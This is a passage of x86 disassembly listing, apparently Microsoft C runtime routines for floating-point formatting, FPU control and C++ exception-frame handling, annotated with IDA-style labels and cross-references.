					; sub_421F51+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421FA7:				; CODE XREF: sub_421F51+41j
					; sub_421F51+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_421F51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421FAB(double,int)

sub_421FAB	proc near		; CODE XREF: sub_421BFF+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_421FCB
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_422061
; ---------------------------------------------------------------------------


loc_421FCB:				; CODE XREF: sub_421FAB+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42203A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421FE3
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42203A


loc_421FE3:				; CODE XREF: sub_421FAB+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_421FFB
		push	1
		pop	eax
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_421FFB:				; CODE XREF: sub_421FAB+49j
		xor	eax, eax


loc_421FFD:				; CODE XREF: sub_421FAB+4Ej
					; sub_421FAB+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_422016
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_422010
		or	dword ptr [ebp+arg_0+4], 1


loc_422010:				; CODE XREF: sub_421FAB+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_422016:				; CODE XREF: sub_421FAB+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_422024
		or	byte ptr [ebp+arg_0+7],	80h


loc_422024:				; CODE XREF: sub_421FAB+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_422061
; ---------------------------------------------------------------------------


loc_42203A:				; CODE XREF: sub_421FAB+28j
					; sub_421FAB+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_422061:				; CODE XREF: sub_421FAB+1Bj
					; sub_421FAB+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_421FAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42206C	proc near		; CODE XREF: sub_42194C+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42206C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42207A	proc near		; CODE XREF: sub_42194C+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42207A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422089	proc near		; CODE XREF: sub_41D055+13p
					; sub_41D055+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_422089	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220AC	proc near		; CODE XREF: sub_421BFF+1Dp
					; sub_421BFF+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_4220C3
		fld	tbyte_43D408
		fistp	[ebp+arg_0]
		wait


loc_4220C3:				; CODE XREF: sub_4220AC+Bj
		test	cl, 8
		jz	short loc_4220D8
		fstsw	ax
		fld	tbyte_43D408
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_4220D8:				; CODE XREF: sub_4220AC+1Aj
		test	cl, 10h
		jz	short loc_4220E7
		fld	tbyte_43D414
		fstp	[ebp+var_8]
		wait


loc_4220E7:				; CODE XREF: sub_4220AC+2Fj
		test	cl, 4
		jz	short loc_4220F5
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_4220F5:				; CODE XREF: sub_4220AC+3Ej
		test	cl, 20h
		jz	short locret_422100
		fldpi
		fstp	[ebp+var_8]
		wait

locret_422100:				; CODE XREF: sub_4220AC+4Cj
		leave
		retn
sub_4220AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_422102	proc near		; CODE XREF: sub_41D124+Fp
		push	30000h
		push	10000h
		call	sub_424865
		pop	ecx
		pop	ecx
		retn
sub_422102	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422114	proc near		; CODE XREF: sub_422152:loc_422176j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427870
		fstp	[ebp+var_8]
		fld	dbl_427868
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4276F8
		fnstsw	ax
		sahf
		jbe	short loc_42214E
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_42214E:				; CODE XREF: sub_422114+33j
		xor	eax, eax
		leave
		retn
sub_422114	endp


; =============== S U B	R O U T	I N E =======================================



sub_422152	proc near		; CODE XREF: sub_41D124+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 26A0587h
		test	eax, eax
		jz	short loc_422176
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	near ptr 26C0450h
		nop
		test	eax, eax
		jz	short loc_422176
		push	0
		call	eax ; sub_41D124
		retn
; ---------------------------------------------------------------------------


loc_422176:				; CODE XREF: sub_422152+Dj
					; sub_422152+1Dj
		jmp	sub_422114
sub_422152	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42217B	proc near		; CODE XREF: sub_41FF3F+3CBp
					; DATA XREF: sub_41D13C+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41DFEC
		cmp	eax, 65h
		pop	ecx
		jz	short loc_4221BB


loc_42218F:				; CODE XREF: sub_42217B+3Ej
		inc	esi
		cmp	dword_43D084, 1
		jle	short loc_4221A8
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4221B7
; ---------------------------------------------------------------------------


loc_4221A8:				; CODE XREF: sub_42217B+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4221B7:				; CODE XREF: sub_42217B+2Bj
		test	eax, eax
		jnz	short loc_42218F


loc_4221BB:				; CODE XREF: sub_42217B+12j
		mov	cl, byte_43D088
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_4221C6:				; CODE XREF: sub_42217B+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_4221C6
		pop	esi
		retn
sub_42217B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4221D5	proc near		; CODE XREF: sub_41FF3F+3E2p
					; DATA XREF: sub_41D13C+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43D088
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4221F1


loc_4221E5:				; CODE XREF: sub_4221D5+1Aj
		cmp	cl, dl
		jz	short loc_4221F1
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_4221E5


loc_4221F1:				; CODE XREF: sub_4221D5+Ej
					; sub_4221D5+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_422222


loc_4221F8:				; CODE XREF: sub_4221D5+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42220B
		cmp	cl, 65h
		jz	short loc_42220B
		cmp	cl, 45h
		jz	short loc_42220B
		inc	eax
		jmp	short loc_4221F8
; ---------------------------------------------------------------------------


loc_42220B:				; CODE XREF: sub_4221D5+27j
					; sub_4221D5+2Cj ...
		mov	ecx, eax


loc_42220D:				; CODE XREF: sub_4221D5+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42220D
		cmp	[eax], dl
		jnz	short loc_422218
		dec	eax


loc_422218:				; CODE XREF: sub_4221D5+40j
					; sub_4221D5+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_422218

locret_422222:				; CODE XREF: sub_4221D5+21j
		retn
sub_4221D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_422223	proc near		; DATA XREF: sub_41D13C+28o
					; ___:off_43D430o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jb	short loc_422238
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422238:				; CODE XREF: sub_422223+Fj
		xor	eax, eax
		retn
sub_422223	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42223B	proc near		; CODE XREF: sub_420DB0+430p
					; DATA XREF: sub_41D13C+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_422264
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424D28
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422264:				; CODE XREF: sub_42223B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424D55
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42223B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422279	proc near		; CODE XREF: sub_4224F6+17p
					; sub_422540+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DBE5C, 0
		push	ebx
		push	esi
		jz	short loc_4222AE
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DBE58
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_422591
		pop	ecx
		pop	ecx
		jmp	short loc_4222E6
; ---------------------------------------------------------------------------


loc_4222AE:				; CODE XREF: sub_422279+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_424DF9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424D82
		add	esp, 14h


loc_4222E6:				; CODE XREF: sub_422279+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_4222F2
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_4222F2:				; CODE XREF: sub_422279+73j
		test	ebx, ebx
		jle	short loc_42230A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43D088
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_42230A:				; CODE XREF: sub_422279+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DBE5C, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41C890
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_422331
		mov	byte ptr [ecx],	45h


loc_422331:				; CODE XREF: sub_422279+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_422376
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_422345
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_422345:				; CODE XREF: sub_422279+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_42235C
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_42235C:				; CODE XREF: sub_422279+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_422373
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_422373:				; CODE XREF: sub_422279+E7j
		add	[ecx+1], bl


loc_422376:				; CODE XREF: sub_422279+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_422279	endp


; =============== S U B	R O U T	I N E =======================================



sub_42237D	proc near		; CODE XREF: sub_42251D+13p
					; sub_422540+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DBE5C, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_4223B8
		mov	eax, dword_4DBE60
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DBE58
		cmp	eax, ebx
		jnz	short loc_4223E8
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_4223E8
; ---------------------------------------------------------------------------


loc_4223B8:				; CODE XREF: sub_42237D+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_424DF9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424D82
		add	esp, 14h


loc_4223E8:				; CODE XREF: sub_42237D+22j
					; sub_42237D+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_4223F6
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_4223F6:				; CODE XREF: sub_42237D+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_42240D
		push	1
		push	edi
		call	sub_422591
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_42240F
; ---------------------------------------------------------------------------


loc_42240D:				; CODE XREF: sub_42237D+7Ej
		add	edi, eax


loc_42240F:				; CODE XREF: sub_42237D+8Ej
		test	ebx, ebx
		jle	short loc_422454
		push	1
		push	edi
		call	sub_422591
		mov	al, byte_43D088
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_422454
		cmp	byte_4DBE5C, 0
		jz	short loc_422439
		neg	esi
		jmp	short loc_42243F
; ---------------------------------------------------------------------------


loc_422439:				; CODE XREF: sub_42237D+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_422441


loc_42243F:				; CODE XREF: sub_42237D+BAj
		mov	ebx, esi


loc_422441:				; CODE XREF: sub_42237D+C0j
		push	ebx
		push	edi
		call	sub_422591
		push	ebx
		push	30h
		push	edi
		call	sub_41BF70
		add	esp, 14h


loc_422454:				; CODE XREF: sub_42237D+94j
					; sub_42237D+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42237D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42245B	proc near		; CODE XREF: sub_422540+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_424DF9
		mov	dword_4DBE58, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DBE60, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424D82
		mov	eax, dword_4DBE58
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DBE60, ecx
		setl	cl
		mov	byte_4DBE64, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DBE60, eax
		jl	short loc_4224E1
		cmp	eax, ebx
		jge	short loc_4224E1
		test	cl, cl
		jz	short loc_4224D2


loc_4224C8:				; CODE XREF: sub_42245B+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_4224C8
		and	[esi-2], al


loc_4224D2:				; CODE XREF: sub_42245B+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_42251D
		add	esp, 0Ch
		jmp	short loc_4224F1
; ---------------------------------------------------------------------------


loc_4224E1:				; CODE XREF: sub_42245B+63j
					; sub_42245B+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_4224F6
		add	esp, 10h


loc_4224F1:				; CODE XREF: sub_42245B+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42245B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4224F6	proc near		; CODE XREF: sub_42245B+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DBE5C, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_422279
		and	byte_4DBE5C, 0
		add	esp, 10h
		retn
sub_4224F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42251D	proc near		; CODE XREF: sub_42245B+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DBE5C, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_42237D
		and	byte_4DBE5C, 0
		add	esp, 0Ch
		retn
sub_42251D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422540	proc near		; CODE XREF: sub_41FF3F+3AAp
					; DATA XREF: sub_41D13Co ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 45h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 66h
		jnz	short loc_422568
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42237D
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422568:				; CODE XREF: sub_422540+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42245B
		jmp	short loc_42258C
; ---------------------------------------------------------------------------


loc_42257B:				; CODE XREF: sub_422540+7j
					; sub_422540+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422279


loc_42258C:				; CODE XREF: sub_422540+39j
		add	esp, 10h
		pop	ebp
		retn
sub_422540	endp


; =============== S U B	R O U T	I N E =======================================



sub_422591	proc near		; CODE XREF: sub_422279+2Cp
					; sub_42237D+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_4225B4
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D670
		add	esp, 10h
		pop	esi


loc_4225B4:				; CODE XREF: sub_422591+7j
		pop	edi
		retn
sub_422591	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B6	proc near		; CODE XREF: ___:0041D31Cp
					; sub_41D385+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_4225CC
		call	sub_422E52


loc_4225CC:				; CODE XREF: sub_4225B6+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_4225F4
		cmp	dword ptr [esi+4], 0
		jz	short loc_42264A
		cmp	[ebp+arg_14], 0
		jnz	short loc_42264A
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_4228FD
		add	esp, 10h
		jmp	short loc_42264A
; ---------------------------------------------------------------------------


loc_4225F4:				; CODE XREF: sub_4225B6+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_42264A
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42262E
		cmp	[eax+14h], edi
		jbe	short loc_42262E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_42262E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_42264D
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_4225B6+4Aj
					; sub_4225B6+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_422651
		add	esp, 20h


loc_42264A:				; CODE XREF: sub_4225B6+23j
					; sub_4225B6+29j ...
		push	1
		pop	eax


loc_42264D:				; CODE XREF: sub_4225B6+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4225B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422651	proc near		; CODE XREF: sub_4225B6+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_422671
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_422676


loc_422671:				; CODE XREF: sub_422651+16j
		call	sub_422E52


loc_422676:				; CODE XREF: sub_422651+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		mov	esi, dword_4DBE68
		test	esi, esi
		jz	loc_4227C8
		mov	eax, dword_4DBE6C
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424F80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4226CC
		call	sub_422E52


loc_4226CC:				; CODE XREF: sub_422651+74j
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		call	sub_422E52


loc_4226EA:				; CODE XREF: sub_422651+41j
					; sub_422651+46j ...
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	loc_4227CD
		cmp	[esi+14h], edi
		jnz	loc_4227CD
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	ebx, eax


loc_422721:				; CODE XREF: sub_422651+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_4227B8
		cmp	[ebx], edi
		jg	short loc_4227AD
		cmp	edi, [ebx+4]
		jg	short loc_4227AD
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_4227AA


loc_422746:				; CODE XREF: sub_422651+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_422777


loc_422758:				; CODE XREF: sub_422651+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_4228A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_422786
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_422758


loc_422777:				; CODE XREF: sub_422651+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_422746
		jmp	short loc_4227AA
; ---------------------------------------------------------------------------


loc_422786:				; CODE XREF: sub_422651+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_4227AA:				; CODE XREF: sub_422651+F3j
					; sub_422651+133j
		mov	edi, [ebp+var_10]


loc_4227AD:				; CODE XREF: sub_422651+DEj
					; sub_422651+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_422721
; ---------------------------------------------------------------------------


loc_4227B8:				; CODE XREF: sub_422651+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_4227C8
		push	1
		push	esi
		call	sub_422D26
		pop	ecx
		pop	ecx


loc_4227C8:				; CODE XREF: sub_422651+56j
					; sub_422651+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4227CD:				; CODE XREF: sub_422651+37j
